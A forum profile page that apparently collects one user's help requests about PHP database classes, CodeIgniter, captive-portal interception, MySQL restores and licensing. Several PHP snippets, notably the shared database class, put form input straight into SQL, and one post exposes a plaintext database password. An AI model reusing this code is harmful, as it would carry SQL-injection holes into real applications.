Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - danny920825

#1
Hola a todos los de este foro. Necesito su ayuda con un problema que tengo que me ha resultado muy dificil de configurar. Primero los ubico en contexto:

Quiero extender un servicio que brinda un ISP. Este tiene un portal cautivo que cuando te conectas a su red te abre un login y si no te logueas, a los 2 minutos te expulsa de la red. Lo que pasa es que luego de loguearte pierdes el acceso a la pagin del login y no puedes desloguearte. Y te consume el tiempo de conexion asignado por no poderte desconectar. Un amigo mio y yo hicimos en PHP un sitio que tiene las mismas funciones y que no se pierde el acceso. Y lo queremos montar en una pc como si fuera una especie de firewall. Lo que quiero hacer es que cuando el cliente se conecte a mi red (que tiene acceso a la otra red) en vez de ser dirigido al portal cautivo del ISP sea dirigido al portal mio. Mi portal ejecuta las acciones como si fuera el ISP por eso no puedo usar Radius ni el portal cautivo de PFSENSE. Ademas esta hecho en Symfony. Necesito que esa PC intercepte el trafico, el usuario se loguee y lo redirija (usando su IP actual) a una IP.
No se si me hago entender. Asi que les dejo una especie de flujo de red:
Código (lua) [Seleccionar]

usuario (ip: 10.10.10.10)
|
|_____Mi Portal (ip: 10.10.10.1) (eth0)
|
| (ip: 10.10.10.2) (eth1)
|
|
| (ip: 10.10.10.10)
|_________________________ GATEWAY
redireccionar al usuario

Como ven, mi objetivo es hacer pasar al usuario por mi portal obligado y luego enrutar su trafico hacia el gateway pero sin natear. Sino en modo transparente para que conserve la IP. Ya que el Gateway dependiendo de la IP de origen, lo va a mandar a un lugar o a otro. Espero que se me haya entendido y que me puedan ayudar. Si es con iptables y sin usar programas raros mejor

#2
Desarrollo Web / [Ayuda] Login Flotante en JS
18 Enero 2018, 20:48 PM
Hola amigos, estoy intentando hacer un boton flotante a lo largo de toda la web con el Glyphicon de Usuario. Y quiero que a su vez, sea un dropdown con los enlaces al Login y Registro de mi sitio. Estoy haciendolo en JS porque es como va a quedar al final y porque realmente es mas facil de reutilizar. Aqui vamos

Código (javascript) [Seleccionar]


function toLogin() {
    $("body").append('<a href="#" id="Login"><span id="toLogin" class="glyphicon glyphicon-user"></span></a>');
   
    /*
    *Aqui Iria la funcion para mostrar el dropdown
    *
    */
}


$(document).ready(function () {
    toLogin();   
});




Y este es el estilo
Código (css) [Seleccionar]

#login{
    display:block;
    text-decoration:none;
    position:fixed;
    bottom:50%;
    left:10px;
    z-index: 1000;
    overflow:hidden;
    width:4em;
    height:4em;
    border: 2px #000000 dashed;
    border-radius: 10%;
    text-indent:100%;
    background-color: #5e5e5e;
}
#toLogin{
    font-size: 3em;
}


Lo que quiero lograr es un circulo de un tamaño visible con un borde discontinuo y dentro un glyphicon. Que cuando le pase el mouse por encima me muestre en un desplegable los enlaces a Login y Register. Ayuda por favor
#3
Redes / [Ayuda] Cual dispositivo elegir
30 Noviembre 2017, 23:03 PM
Hola a todos, estoy buscando un dispositivo inalambrico que me permita conectarme por 2.4Hz o 5Hz a una distancia de 500m con algo de interferencia. Me dijeron que los equipos AC servian para este proposito, pero no se mucho al respecto. Si puede ser un Mikrotik pues mejor. Y si en la respuesta, me pueden dar un link de ayuda seria mucho pero mucho mejor. Salu2 desde Cuba
#4
PHP / [ayuda] Conectar Symfony a 2 BD diferentes
7 Noviembre 2017, 20:35 PM
Hola a todos. Estoy aprendiendo a trabajar con Symfony y tengo en mente un pequeño proyecto para automatizar un proceso en mi trabajo. Aqui tenemos un sistema que utiliza MSSQLS y lo que quiero es conectarme a esa BD y poder gestionar algunos aspectos de esa BD mediante un sitio web. Pero a la vez, quiero que los usuarios esten en una BD de MySQL y no in memory como provee symfony. ¿Alguna idea para lograr esto?
#5
Tengo una imagen de Alpine para  pruebas y sus repositorios para ponerlos locales, pero no se como ni donde ubicarlos y mucho menos como se actualiza, pues he visto que Alpine tiene una herramienta diferente de apt (llamada APK). Soy nuevo con las cosas de Linux en general. Pero me interesa la idea de trabajar con esa distribucion por su tamaño diminuto, pues la imagen pesa 4MB (para usar con Docker) y los repositorios 8GB. Ayuda por favor. Si es necesario mas informacion, por favor avisen y pongo lo que necesiten. Salu2
#6
Windows / [ayuda] mbr relleno con zeros
26 Septiembre 2017, 18:02 PM
Hola a todos, mi pc acaba de fallecer, estaba tratando de recuperar la tabla de particiones de un hdd externo y sin querer y probando opciones, pues nada funcionaba, le di rellenar MBR con ZERO de una opcion del HBCD. El punto es que cuando le di a la opcion, parece que seleccione mi hdd interno, y ahora no puedo iniciar windows, no puedo recuperar las particiones y no se que hacer.

Info:
-Board: Asus p8h61
-Micro: Intel Core i3 4170
-RAM: 4GB
S.O: Windows 10 Aniversary

Ayuda por favor



· No se debe escribir en mayúsculas
>aquí las reglas del foro
-Engel Lex
#7
Hola amigos. Alguien me puede ayudar? El punto es que tengo este metodo:
Código (php) [Seleccionar]

private function execute($type, $query)
    {
        $consulta = $this->getMysqli()->query($query) or die ("Error al $type: <br>" . $this->getMysqli()->error);
        return $consulta;
    }

para ejecutar consultas de mysqli, pero cuando ejecuto esta consulta:
Código (php) [Seleccionar]

$this->execute('Salvas', 'SET NAMES "utf8"');

que esta en otro metodo dentro de la misma clase, me sale este error:

Fatal error: Call to a member function query() on null

Ojo, con otras consultas me funciona, pero con esa me da error.

Por favor ayudenme. Si necesitan mas datos, solo diganlo
#8
PHP / [Ayuda] Constructor Global como Helper
21 Julio 2017, 20:02 PM
Hola a todos. Una vez mas aqui pidiendo ayuda. En este caso quiero hacer una clase que vendria siendo algo asi como un Helper y que me permita ejecutar las tareas básicas para de esta forma poder tener menos métodos en mis clases normales y que mi codigo pueda ser reutilizado. Para ello estoy usando un array donde guardo los valores que le voy a pasar al constructor en forma:
Código (php) [Seleccionar]
$datos = array ("campo"=>"valor")
estoy haciendo esto en el archivo que recibe los datos del formulario, o sea, mi intento de controller:

Código (php) [Seleccionar]

$datos = array ("campo"=>"valor");
$miclase = new MiClase();
$miclase->init ($datos);


en la clase MiClase que es extendida de la clase helper hago lo siguiente:
Código (php) [Seleccionar]

public function init($datos)
    {
        ModelBase::initFull($datos, "MiClase");
       
    }


y tengo tambien en esa clase los metodos set y los get para trabajar con los datos privados que es lo que voy a hacer en el metodo initfull. Y en la clase Helper hago esto:
Código (php) [Seleccionar]

public static function initFull($datos, $clase)
{

        $instance = new $clase();
        foreach ($datos as $key => $value)
        {
            $id = ucwords($key); //para obtener la primera letra en Mayusculas
            $setter = "set$id"; //Ahora tengo el set de la variable privada
            $instance->$setter($value);

        }
}


Y no muestra errores, pero el caso es que a la clase "MiClase" no le estan llegando los datos. ¿Que estoy haciendo mal? Por favor, ayuda
y no marca
#9
Hola Gente. Mi duda es la siguiente:
Tengo una clase que recibe parametros enviados por post, pero yo quiero que por cada $key del array, me genere una variable con su nombre y que el $value sea el valor de la variable. ¿Es posible hacer esto?
O sea, yo tengo:
Código (php) [Seleccionar]

array (size=6)
 'identificador' => string 'Habitacion_002' (length=14)
 'size' => string 'mediana' (length=7)
 'precio' => string '30' (length=2)
 'estado' => string 'Lista' (length=5)
 'descripcion' => string 'Segunda Habitacion. Mediana con cama matrimonial' (length=48)

Y quiero que el me cree variables automaticas con el nombre:
Código (php) [Seleccionar]

$identificador;
$size;
$precio;
$estado;
$descripcion;

No se si me hago explicar. Es para poder mandar a esas variables a validar bajo diferentes criterios con una clase de validacion que estoy creando. Ayuda por favor
#10
PHP / [Aporte] Clase generica para BD
28 Junio 2017, 14:08 PM
Hola Gente. Aquí les traigo un pequeño aporte y viene acompañado de una peticion de ayuda para mejorarlo. La escencia es una clase generica para trabajar con BD que hemos estado construyendo mis amigos y yo como método de aprendizaje. Esta es la clase:

Código (php) [Seleccionar]

<?php

include './conf/bd.php';

/**
 * BD
 */
class Bd

{
    private 
$mysqli;

    public function 
getMysqli()
    {
        return 
$this->mysqli;
    }

    public function 
setMysqli($mysqli)
    {
        
$this->mysqli $mysqli;
    }

   public static function 
conectar()
    {
        
$connect Conn::connectar(); //Esto auto-instancia la clase Conn y ejecuta el metodo 'connectar()'
        
$bd = new Bd();
        
$bd->setMysqli(new mysqli($connect->getHost(), $connect->getUsername(), $connect->getPassword(), $connect->getBd()));
        return 
$bd//Te da la instancia del objeto bd.
    
}

    public static function 
Insert($tabla$array)
    {
        
$bd bd::conectar();
        
$_query "";
        
$_query "insert INTO $tabla (" implode(', 'array_keys($array)) . ' ) values (';

        foreach (
$array as $key => $value) {
            if (
is_numeric($value)) {
                
$_query .= ', ' $value;
            } else {
                
$_query .= ", '" $value "'";
            }
        }
        
$_query str_replace('(,''('$_query);
        
$_query .= ')';


        
$bd->execute('insertar'$_query);

    }

    public static function 
select($tabla$params$orderby=false$select=false)
    {
        
$bd bd::conectar();
        if(!
$select) {
            
$sql "SELECT * FROM $tabla ";
        }
        else{
            
$sql "SELECT $select FROM \"$tabla\" ";
        }
        
$sql .= Bd::getWhere($params);
        if (
$orderby)
        {
            
$sql .= Bd::getOrderBy($orderby);
        }
        
$bd->execute('Seleccionar'$sql);        
    }

    public static function 
delete($table$parm)
    {
        
$bd=bd::conectar();
        
$sql "DELETE FROM \"$table\" ";
        
$sql .= Bd::getWhere($parm);
        
$bd->execute("Eliminar"$sql);
    }

    private function 
getWhere($params)
    {
        if (
count($params) == 0)
            return 
"";

        
$sql " WHERE (";
        foreach (
$params as $i => $val) {
            
$op $i != ? isset($val['op']) ? $val['op'] : "AND" "";
            
$cond = isset($val['cnd']) ? $val['cnd'] : "=";
            
$col $val['col'];
            
$val '"' $val['value'] . '"';
            
$sql .= $op $col $cond $val";
        }
        
$sql .= " )";
        return 
$sql;
    }

    private function 
getOrderBy($params)
    {
        if (
count($params) == 0)
            return 
"";
        
$sql " ORDER BY (";

        foreach (
$params as $i => $val) {
            
$op $i != "," "";
            
$cond = isset($val['cnd']) ? $val['cnd'] : "ASC";
            
$col $val['col'];
            
$sql .= $op  $cond   ";
        }

        
$sql .= " )";
        return 
$sql;
    }

      private function 
execute($type$query)
    {
        
$consulta $this->getMysqli()->query($query) or die ("Error al $type: <br>" $this->getMysqli()->error);
        return 
$consulta;

    }

}


?>


Para usarla, solo la incluyen y pueden hacer
Código (php) [Seleccionar]
Bd::metodo($tabla, $args)
y Aqui les dejo los ejemplos para que vean el uso antes de mostrarle donde necesito su ayuda. Asi colaboramos entre todos que no me gusta siempre venir a pedir (aunque hoy tambien es el caso) esta vez me gustaria aportar algo de acorde a mi nivel y mis pocos conocimientos.

Ejemplos de Uso:

Código (php) [Seleccionar]

//Ejemplo de Insertar:
$datos = array("nombre"=>$this->nombre, "usuario"=>$this->usuario, "password"=>$cifrar, "roll"=>$this->roll);
$insertar = Bd::Insert("usuarios", $datos);

//Ejemplo de select (el asc lo cambias por cualquier forma de ordenar en mysql)
$where = [["col"=>"usuario", "value"=>$this->usuario], ["col"=>"nombre", "value"=>$this->nombre, "op"=>"OR"]];
$order = [["col"=>"usuario", "cnd"=>"asc"]];
$check = Bd::select("usuarios", $where);

//Ejemplo de Delete
$where = [["col"=>"usuario", "value"=>$this->usuario], ["col"=>"nombre", "value"=>$this->nombre, "op"=>"OR"]];
$delete = Bd::delete("usuarios", $where);


La funcion para el update aun no esta lista, por eso no la puse aqui. Si alguien se anima a completarla, sientase a gusto.
#11
Hola Gente. Comence a estudiar Code Igniter hace un par de dias con unos video tutoriales que descargue y resulta que esperé a ver si lo mencionaban para no preguntar por gusto, pero no lo hicieron. Y mi pregunta es:
Cuando mandan datos a la vista:
Código (php) [Seleccionar]

class Home extends CI_Controller
{
public function index()
{
$datos = array("title"=>"Inicio", "mensaje"=>"hola Mundo con Code Igniter");
$this->load->view("home", $datos);
}
}


se supone que en dicha vista tengo que abrir en cada lugar el código php para poder sustituir con variables. Debería ser así:
Código (html) [Seleccionar]

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title><?php $title ?></title>
</head>
<body>
<div align="center">
<h1><?php $mensaje ?></h1>
</div>
</body>
</html>

pero si lo hago asi me sale en blanco la página. Tengo que ponerlo asi:
Código (html) [Seleccionar]

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title><?= $title ?></title>
</head>
<body>
<div align="center">
<h1><?= $mensaje ?></h1>
</div>
</body>
</html>


Y en un libro de Buenas Practicas hablaban de que es cierto que hay varias formas de iniciar el codigo PHP, pero la recomendada y estandar es <?php ?>. Es un problema a la hora de trabajar con C.I? Como me puede afectar en el desarrollo? O puedo usar la forma tradicional cambiando algun parametro de configuracion?
#12
PHP / [Ayuda] Ideas para Validacion
19 Junio 2017, 14:55 PM
Hola a todos. Estoy creando un sistema de validacion como parte del proceso de aprendizaje (ya se que los frameworks lo hace pero necesito saber como funciona). Para eso Tengo una carpeta llamada class dentro de mi proyecto donde obviamente guardo las clases y dentro una carpeta llamada Validations donde dentro las clases ValidationClass, isTextValidationClass y isNumerosValidationClass por el momento. Cada una de las clases se llama igual que el archivo. Pues la clase ValidationClass es la clase padre y el resto son hijas. El código de la clase ValidationClass es el siguiente:

Código (php) [Seleccionar]

<?php


/**
 * User: Dark_Stone
 * Date: 12/06/2017
 * Time: 23:50
 */
class ValidationClass
{
    protected static function 
canBeValidated($dato)
    {
        
/*
         * Este metodo devuelve false y la clase hija que se haga cargo entonces retornará true
         * Indicando que se puede hacer cargo de la validacion.
         * */
        
return false;
    }


    public static function 
validar($datos)
    {
        
//Instancia la clase
        
$validate = new ValidationClass();

        
//Obtener los hijos en un array
        
$childs $validate->getChilds();

        
//Recorrer el array buscando a ver quien puede validar el dato
        
foreach ($childs as $child) {

            if (
$child::canBeValidated($datos))
                return 
$child::validar($datos);

        }
    }



    private function 
getChilds()
    {
        
//Metodo para determinar los hijos

        /*Un array vacio para guardar los nombres de las clases que retornen true
        *  a la clase padre
        */
        
$array = array();
        
//Obtener la direccion de los archivos de validacion
        
$folder dir(getcwd() . "\\Validations");

        
//recorrer la carpeta buscando quien coincida con la clase
        
while (false !== ($entry $folder->read()))
            if (
$entry != '..' && $entry != '.' && $entry != 'ValidationClass.php') {
                include 
$entry//Incluimos cada archivo

                
$className str_replace('.php'''$entry);
                
$parents class_parents($className);
                
$ischildren false;
                foreach (
$parents as $campo => $valor)
                    if (
$valor == 'ValidationClass') {
                        
$ischildren true;
                        break;
                    }
                if (
$ischildren)
                    
$array[] = $className;

            }
        return 
$array;
    }


}


Y la clase isTextValidationClass por ejemplo, tiene el código de la siguiente forma (aun está en construccion)
Código (php) [Seleccionar]

<?php

/**
 * User: Dark_Stone
 * Date: 14/06/2017
 * Time: 17:53
 */
class isTextValidationClass extends ValidationClass
{

    protected static function 
canBeValidated($datos)
    {
        return 
is_string($datos);
    }


    public  static function 
validar($dato)
    {
        if(
is_string($dato))
        {
            return 
"Es un string"//Es un ejemplo de que hacer si es string
        
}
    }


}


Eso me permite hacer algo como esto
Código (php) [Seleccionar]

$datos = "Esto es un String" //Ejemplo de string
$validar = ValidationClass::validar($datos);
echo $validar;


Pero mi pregunta (ya era hora de que hiciera una despues de tanta explicacion) es: Como puedo validar en 2 métodos a la vez? o sea, saber por ejemplo si es string y si tiene mas de 15 caracteres? Usando 2 clases isTextValidationClass y MaxLengthValidationClass. Pense en pasarlo como parametros
Código (php) [Seleccionar]

$datos = "Esto es un String" //Ejemplo de string
$anotherValidation = "MaxLengthValidationClass";
$validar = ValidationClass::validar($datos,$anotherValidation);
echo $validar;

Pero no estoy seguro de cómo hacerlo. ¿Alguna idea por favor?
#13
Hola a todos. He estado trabajando en mis basicos conocimientos de POO y me di a la tarea de crear una clase generica para las BD con sus respectivos métodos para insertar, eliminar, comprobar, actualizar, etc. Ya logre hacer el método de insertar, pero ahora quiero hacer uno para hacer un select de la BD que me pueda servir por ejemplo para saber si existe un usuario en una BD. El punto es que estoy tratando de hacer algo asi

Código (php) [Seleccionar]

class select($tabla, $array[,$where])
{

}


Pero el punto es que no se como hacer que el tercer argumento sea opcional. O sea que la consulta pueda ser
Código (php) [Seleccionar]
select * from usuarios
o así
Código (php) [Seleccionar]
select * from usuarios where user = 'Danny'

No se si me hago entender. Por favor ayuda
#14
Hola a todos. Me gustaria que me ayudaran a crear un usuario en mi pc que solo tenga acceso a los recursos compartidos, no a iniciar sesion en la PC. Es que tengo unas carpetas que necesito que esten compartidas con un usuario especifico, pero no quiero que pueda entrar y tener acceso a sentarse en mi pc y revisar cuando no estoy. Gracias de antemano
#15
PHP / [Resuelto] Invocar JS desde PHP
26 Abril 2017, 21:28 PM
Hola a todos. No se si el titulo era explicativo, pero lo que quiero hacer es ejecutar un código JS, específicamente un alert desde PHP. Cuando lo hago solo me funciona, pero lo que quiero es hacer una alerta y que redireccione al usuario. Como conozco poco casi nada de JS, lo que estoy haciendo es lo siguiente:
Código (php) [Seleccionar]

if(!pi=3.14) //Solo un ejemplo
{
 echo "<script>alert('Los datos no coinciden');</script>";
 header("location:direccion.php");
}

y lo que hace es que redirecciona directo, no muestra el alert. ¿Como puedo hacer para que eso funcione?
#16
PHP / [Ayuda] Problemas con Zend Loader
13 Abril 2017, 21:24 PM
Hola a todos. Hace un tiempo estuve por aqui hablando sobre proteger la propiedad intelectual y Engel Lex me dio un par de ideas muy buenas. La semana pasada me hablaron de Zend Guard que no ofusca, sino que compila una especie de Bytecode que luego podemos cargar mediante Zend Loader y que según me dijeron hace más rápida la ejecucion porque el código se compila una sola vez. El punto es que ya tengo el Zend Guard funcionando y me codifica bien el código, pero el Zend Loader no me funciona, por tanto no puedo utilizar la herramienta. Según lo que entendi en el sitio oficial tenia que descargar el comprimido que tiene dentro las 2 dll, y ponerla en la carpeta de mis extensiones, en mi caso c:\xampp\php\ext y en el archivo php.ini añadir las siguientes lineas:
  • zend_extension=ZendLoader.dll
  • zend_extension=opcache.dll

y reiniciar el apache. Pero al tratar de acceder a algun archivo codificado me dice lo siguiente

For The Site Administrator/Web Master

One or more files on your site were encoded with Zend Guard. Thismay be third party libraries that
were provided to you by an ISV. Toallow these files to properly run you need to download and
installone of the Zend guard run-time libraries. This is either ZendOptimizer or Zend Loader. The
proper files can be downloaded fromhttp://www.zend.com/guard/downloads.This software is
provided free of charge.

General Disclaimer: Zend Technologies is not responsible tothe configuration and setup of web sites
using Zend Guard technology.Please contact your software vendor if these components were
providedby an ISV or consult your Zend Guard Users Guide if these files wereencoded by your
organization.


¿Que estoy haciendo mal?
#17
Hola amigos. Ayer publique un tema relacionado con este, pero prefiero hacer uno aparte, porque la forma de hacerlo que propuse ayer, si funciona. Lo que sucede es que quiero restaurar una BD desde PHP.
Lo estaba haciendo desde la consola de mysql usando la funcion
Código (php) [Seleccionar]
exec()
pero en la noche un amigo me dijo que si el phpmyadmin está hecho en PHP entonces debe existir una forma de hacerlo. Y me di a la tarea, lo primero fue limpiar el archivo .sql para quitarle los comentarios /* y --. El efecto fue usar
Código (php) [Seleccionar]
file_get_contents() para cargar todo el contenido, limpiarlo y luego llamar a la funcion que hace la restaura. En la funcion que hace la restaura lo que hago es dividir el string obtenido de la funcion anterior y delimitarlo por ; para generar la consulta.
El resultado es que la consulta me da error si la hago desde el script, pero si le pongo un
Código (php) [Seleccionar]
echo para que me muestre el contenido y luego eso lo ejecuto desde el phpMyadmin sí se ejecuta. A continuacion ambas funciones, la de limpiar y la de restaurar:

Código (php) [Seleccionar]

function limpiar_sql($file)
{
include "bd.php";
$file_sql = $salva_dir.$_POST['salva_sql'];
$archivo = file($file_sql, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$abrir = fopen($file_sql, "w");
foreach ($archivo as $key)
{
$recorte = substr($key, 0,2);
if ($recorte != "--")
{
if ($recorte != "/*")
{
fwrite($abrir, $key);
}
}
}
fclose($abrir);
restaurar_bd($_POST['salva_sql']);
}

function restaurar_bd($file)
{
include "bd.php";
$file_sql = $salva_dir.$_POST['salva_sql'];
$contenido = file_get_contents($file_sql);
$explode  = explode(";", $contenido);

foreach ($explode as $key)
{
$newkey = $key.";";
$mysqli->query($newkey) or die (mysqli_error($mysqli));
}

}


Ayuda Por favor
#18
PHP / [Resuelto] Problema al restaurar una BD
6 Abril 2017, 21:42 PM
Hola a todos. Resuelta que quiero restaurar una BD de mysql desde PHP. Para ello, a falta de otro método, pues utilizo exec
pero antes lo quiero probar a mano, así que tengo el siguiente código:

Código (php) [Seleccionar]

function restaurar_bd($salva)
{
include "bd.php";
$file_sql = $salva_dir.$_POST['salva_sql'];
$mysql = "..\..\mysql\bin\mysql";
$restaura = $mysql." -u $username --password = $password -h $host  $bd < $file_sql";
echo $restaura;
echo "<br>";
}


en el archivo bd.php es donde tengo los datos del mysql que uso normalmente para conectarme a la BD. El resultado es este
..\..\mysql\bin\mysql -u crenta --password = txehK8bY7br3vSMT -h localhost crenta < ./salvas/crenta_170406-1247.sql
y cuando lo ejecuto desde la consola me arroja  acces denied.
Acabo de ver que es porque donde tengo puesto el password va el nombre de la tabla, pero entonces... ¿Como pongo el password desde el comando PHP?
#19
PHP / [Ayuda] Clonar documentacion
4 Abril 2017, 13:12 PM
Hola de nuevo. Esta vez no voy a preguntar sobre programación aunque el objetivo sea ese. Hay alguna forma de clonar devdocs? Es que intenté con HTTrack y me dio error. termino de descargar y dice que si la documentacion no se abre directo de http://devdocs.io/  entonces no se podrá ver. En mi red (de la cual he hablado en ocasiones) hay un clon pero es de hace 1 año y medio y me gustaría tener una nueva version con la documentacion de Bootstrap 4 Alpha 6, PHP5, PHP7, HTML5 y otros lenguajes como Jquery para poder estudiar offline ya que en Cuba no todos tienen acceso a internet en los hogares. Si hay alguna forma que desconozco con HTTrack me la pueden decir? Gracias.

PD: Perdon si este post no va aqui, pero no sabia donde ponerlo.
#20
PHP / [Resuelto] Crear Licencia en PHP
30 Marzo 2017, 15:48 PM
Hola a todos. Estoy haciendo un proyecto simple para un cliente pero me gustaría ponerle un sistema de expiración por ejemplo anual (porque no voy a tener acceso, sería local en la pc del cliente y solo me llamarían en caso de presentar algun problema y para renovar la licencia) . O sea, que a los 365 días el proyecto expire y no deje al usuario loguearse ni ver el contenido. He pensado en crear una session con el período de expiración y esas cosas, pero no se... si el usuario borra el historial se reiniciaría el contador. También pensé en crear un archivo de texto en el servidor donde establezco el límite de días y voy reescribiendo el contenido al comparar la fecha. Pero me gustaría escuchar otras ideas y si a alguien le gusta alguna de las que he pusto aqui, trabajar para hacerla lo más seguro posible ya que el objetivo es que el usuario no pueda cambiar los datos tan facilmente. Salu2
#21
PHP / [Ayuda] Problema con sessiones
13 Marzo 2017, 19:30 PM
Hola Gente. Resulta que un amigo me dio un proyecto suyo que el hizo hace mucho tiempo en una versión anterior de PHP a la 5.6 que es la que uso yo. Pero cuando lo trato de montar en mi pc me da muchos errores. Digamos que casi todo da error. Yo culpo al cambio de version, pero es que hay cosas que están dando error que son básicas de PHP y creo yo que no han tenido cambios. Les pongo un ejemplo. El index.php lo que hace es redireccionar al login.php para que el usuario siempre esté obligado a loguearse antes de entrar. Eso no tiene sentido ponerlo aqui. Ahora... el login.php comienza así:

Código (php) [Seleccionar]

<?php
session_start
();
if (isset(
$_SESSION['id_usuario']))
{
header("Location: cp_principal_sagi.php");
}
if (isset(
$_SESSION['F']))
{
$F $_SESSION['F'];
}
?>


Y cuando lo trato de correr me da el siguiente error:
Use of undefined constant id_usuario - assumed 'id_usuario' in C:\wamp64\www\crenta\login.php on line 3
Noten que la línea 3 es la tercera linea de ese codigo de arriba, ya que así empieza. Ayuda por favor. Ya probé todo lo que se me ocurrió. Lo unico que me falta es copiar el xampp que él usa que es una versión vieja y probar así.
#22
Hola a todos. EL proyecto en el que estoy trabajando vincula a cada usuario con su IP para que no puedan acceder con ese usuario desde otro lugar. Pues me gustaría también poder obtener la direccion MAC (o ARP como se le conoce) ya que la IP es modificable pero la MAC no (Al menos en Windows que es el S.O que usan TODOS mis usuarios). Agradezco desde antes y espero que me puedan ayudar.
#23
PHP / [Resuelto] Problema con password_hash()
17 Febrero 2017, 17:06 PM
Hola a todos. Hace un tiempo Engel Lex y !drvy me ayudaron con el tema de la encriptacion de las contraseñas al insertarlas en las BD. Estaba usando el método
Código (php) [Seleccionar]
crypt($pass, $salt) pero según la documentación de PHP,
Código (php) [Seleccionar]
password_hash($string, PASSWORD_DEFAULT) tiene un mayor cifrado. Pues bien, en este caso, está contraindicado utilizar un $salt y de hecho en futuras versiones será eliminada la opción. Pues bien, mi problema: Cuando realizo el registro en la BD lo hago de la siguiente forma:

Código (php) [Seleccionar]

//Página de registro
include "bd.php"
//recoger datos del formulario
       $user=$_POST['usuario'];
$pass=$_POST['password'];

//cifrar la contraseña para añadirla a la BD
$cifrar=password_hash($pass, PASSWORD_DEFAULT);

$sql="insert into $tabla1 (usuario, password, rank) values ('$user', '$cifrar', 1)";
$consulta = $mysqli->query ($sql) or die ("Problemas al insertar datos:<br>".mysqli_error($mysqli));


Y creeme que inserta los datos a la perfección. Ahora... cuando voy a acceder a esos datos, hago lo siguiente:
Código (php) [Seleccionar]

//Página de registro
include "bd.php"
//recoger datos del formulario
       $user=$_POST['usuario'];
$pass=$_POST['password'];

//cifrar la contraseña para añadirla a la BD
$cifrar=password_hash($pass, PASSWORD_DEFAULT);

$sql="select * from $tabla1 where usuario='$user' LIMIT 1";
$consulta = $mysqli->query($sql) or die ("Usuario no encontrado");
$reg = $consulta->fetch_array();

if (password_verify($cifrar, $reg['password']))
       {
               echo "Las contraseñas coinciden";
}
else
{
echo "Password enviado: ".$cifrar."<br>";
echo "Password almacenado: ". $reg['password'];
}


Pero lo que hace es generar un nuevo hash en vez de generar el mismo. Probé escribiendo como contraseña 12345678 para descartar que fuera que escribía mal la contraseña pero nada. No funciona. Y sé que estoy haciendo algo mal porque si es una función recomendada, debe funcionar bien
#24
PHP / [Resuelto] Existe extension php_pdo_mysqli
13 Febrero 2017, 23:04 PM
Hola de nuevo. Motivado por Engel Lex hace un tiempo atrás, he comenzado a estudiar PHP pero sobre POO (él me hablo de organización, reutilización y frameworks) así que comence por descargar los manuales, leer, probar y esas cosas. Pero cuando llego a las Bases de Datos, me encuentro con PDO que es la interfaz de BD que se sugiere utilizar en Programacion Orientada a Objetos. Cuando reviso mi php.ini (wamp 3.0.6 con PHP 5.6.25 - MySQL 5.7.14) veo que tengo:

  • extension=php_pdo_firebird.dll
  • extension=php_pdo_sqlite.dll
  • extension=php_pdo_mysql.dll
  • extension=php_pdo_oci.dll
  • extension=php_pdo_odbc.dll
  • extension=php_pdo_pgsql.dll

Que son los drivers para trabajar con PDO, pero no veo por ningun lugar el de mysqli y si mal no recuerdo MySql ahora daba warnings y habia que usar mysqli. Qué tengo que hacer o que me recomiendan que haga?
Gracias de antemano
#25
Hola Gente. Un placer volver con mis dudas al mejor lugar para que sean respondidas. Mi pregunta esta ves es:
¿Puedo agregar una clase o una funcion a mi proyecto para que me guarde una página como pdf? Me explico: Un sistema que genere un reporte contable (por poner un ejemplo, aun no se hacer eso) y que se deba tener impreso y digital. Me gustaría agregarle un boton de Guardar que convirtiera esa web generada en un pdf y me permita guardarlo. Ya que guardar un html no es óptimo.
Sé que para guardar cosas en PHP se usan las Bases de Datos, pero en Cuba todo tiene que estar impreso y tener una copia aparte de la del servidor. Existe esa funcion/clase ó se usa alguna libreria externa? El problema es que se trabaja sin internet y la mayoria de los plugins para mozilla convierten a pdf online. Salu2
#26
PHP / [Ayuda] ¿Qué hice mal?
19 Enero 2017, 19:37 PM
Hola a todos. Cómo puedo hacer que un formulario que se procesa en la misma página incremente las variables?
Creo que no me hago entender así que dejo el código primero
Código (php) [Seleccionar]

<html>
<head>
<meta charset="utf-8">
<title>Documento sin título</title>
</head>
<form action="index.php" method="post">
<h5>Ingrese el Nombre</h5>
<input type="text" name="nombre">
<h5>Ingrese el Apellido</h5>
<input type="text" name="apellido">
<h5>Ingrese el # Carnet</h5>
<input type="text" name="ci">
<div><input type="submit"></div>
</form>
<?php
include(
"class.php");


$nb=$_POST['nombre'];
$ap=$_POST['apellido'];
$ci=$_POST['ci'];


$datos = new Datos();
$datos->insertar($nb$ap$ci);
//$datos->mostrar();
$contcount($datos);
echo ("<table border='1'>");
echo ("<tr>");
                    echo (
"<td>Nombre</td><td>Apellido</td><td>No. Carnet</td>");
echo ("</tr>");
for ($i=1$i<=$cont$i++)
{
$nombre=$datos->nombre;
$apellido=$datos->apellido;
$carnet=$datos->CI;
echo ("<tr><td>".$nombre."</td><td>".$apellido."</td><td>".$carnet."</td></tr>");
}
                    echo (
"</table>");


?>

<body>
</body>
</html>

Pues lo que pasa es que si cuando se muestran los datos, trato de insertar otros datos, lo que hace es que los sobreescribe, no los añade a la lista.
#27
Hola de nuevo, me preguntaba si puedo hacer algo así:

Código (php) [Seleccionar]

class nombre_clase
  {
     var $var1;
     var $var2;

       public function nombre_funcion()
            {
               //codigo de funcion
               public function funcion2()
                 {
                    //codigo de funcion
                 }
            }
  }

Eso es posible hacerse? Hay alguna forma de anidar funciones?
#28
Hola de nuevo familia. Esta vez vengo a preguntar cómo quitar el index.php en codeigniter porque se ve feo tener una URL así:
www.ejemplo.com/index.php/controlador/metodo
Uso WampServ64 y ya creé el archivo .htaccess con las siguientes lineas dentro:
RewriteEngine on
RewriteCond $1 !^(index.php|css|js|images)
RewriteRule ^(.*)$ /index.php/$1 [L]

Pero no se ve así
www.ejemplo.com/controlador/metodo
¿Qué estoy haciendo mal? o ¿Qué me falta por hacer?
#29
PHP / [Ayuda] Validacion de formularios
11 Enero 2017, 19:15 PM
